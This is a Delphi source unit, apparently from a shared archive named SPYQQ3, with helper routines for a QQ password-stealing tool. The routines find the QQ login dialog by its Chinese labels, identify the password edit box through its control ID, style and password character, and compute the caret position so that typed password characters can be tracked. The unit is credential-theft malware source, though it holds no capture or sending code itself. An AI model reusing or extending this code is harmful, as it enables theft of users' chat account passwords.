www.pudn.com > SPYQQ3.rar > FunUnit.pas


unit FunUnit; 
 
interface 
 
uses Windows; 
 
function ExtractFileName(const FileName: string): string; // 解出文件名 
function ExtractFilePath(const FileName: string): string; // 解出文件路径 
function GetWinTitle(hWnd: HWnd): string;  // 取窗口标题 
function GetWinClass(hWnd: HWnd): string;  // 取窗口类名 
function IsValidChar(x: Char): Boolean;    // 是否合法字符 
function GetEditPos(hEdit: HWnd): Integer; // 计算插入位置 
function IsQQDialog(hWnd: HWnd): Boolean;  // 是否登录窗口 
function IsPassEdit(hEdit: HWnd): Boolean; // 是否密码Edit 
 
implementation 
 
uses Messages, VarUnit; 
 
function ExtractFileName(const FileName: string): string; 
var 
  P: Integer; 
begin 
  P := Length(FileName); 
  while (P > 0) and (FileName[P] <> '\') and (FileName[P] <> ':') do Dec(P); 
  Result := Copy(FileName, P + 1, Length(FileName) - P); 
end; 
 
function ExtractFilePath(const FileName: string): string; 
var 
  P: Integer; 
begin 
  P := Length(FileName); 
  while (P > 0) and (FileName[P] <> '\') and (FileName[P] <> ':') do Dec(P); 
  Result := Copy(FileName, 1, P); 
end; 
 
function GetWinTitle(hWnd: HWnd): string; 
var 
  WindowTitle: array[0..MAX_PATH] of Char; 
begin 
  WindowTitle[SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@WindowTitle))] := #0; 
  Result := WindowTitle; 
end; 
 
function GetWinClass(hWnd: HWnd): string; 
var 
  WindowClass: array[0..MAX_PATH] of Char; 
begin 
  WindowClass[GetClassName(hWnd, WindowClass, MAX_PATH)] := #0; 
  Result := WindowClass; 
end; 
 
function IsValidChar(x: Char): Boolean; 
begin 
  Result := (Ord(x) >= $21) and (Ord(x) <= $7E); 
end; 
 
function GetEditPos(hEdit: HWnd): Integer; 
var 
  CurPt: TPoint; 
  TmpDC: HDC; 
  Width: Integer; 
begin 
  // 字符宽度 
  TmpDC := GetDC(hEdit); 
  SelectObject(TmpDC, SendMessage(hEdit, WM_GETFONT, 0, 0)); 
  GetCharWidth(TmpDC, Ord('*'), Ord('*'), Width); 
  SelectObject(TmpDC, GetStockObject(OEM_FIXED_FONT)); // ** 
  ReleaseDC(hEdit, TmpDC); 
 
  // 光标位置 
  GetCaretPos(CurPt); 
 
  // 插入位置 
  Result := CurPt.X div Width; 
end; 
 
function FindSubCtrl(hWnd: HWnd; const SubText: string): Boolean; 
var 
  hCtrlWnd: DWord; // HWND 
  CtrlText: string; 
begin 
  Result := False; 
 
  hCtrlWnd := GetTopWindow(hWnd); 
  while IsWindow(hCtrlWnd) do 
  begin 
    CtrlText := GetWinTitle(hCtrlWnd); 
    if (Pos(SubText, CtrlText) > 0) then // 标题匹配 
    begin 
      Result := True; 
      Exit; 
    end else 
      hCtrlWnd := GetWindow(hCtrlWnd, GW_HWNDNEXT); 
  end; 
end; 
 
function IsQQDialog(hWnd: HWnd): Boolean; 
begin 
  Result := False; 
 
  if (GetWinClass(hWnd) <> '#32770') then Exit; 
  if (FindSubCtrl(hWnd, 'QQ密码') = False) then Exit; 
  if (FindSubCtrl(hWnd, 'QQ号码') = False) then Exit; 
 
  Result := True; 
end; 
 
function IsPassEdit(hEdit: HWnd): Boolean; 
begin 
  Result := (GetWinClass(hEdit) = 'Edit') and 
    ( 
      (GetWindowLong(hEdit, GWL_ID) = $B4) or 
      (GetWindowLong(hEdit, GWL_STYLE) and ES_PASSWORD <> 0) or 
      (SendMessage(hEdit, EM_GETPASSWORDCHAR, 0, 0) <> 0) 
    ); 
end; 
 
end.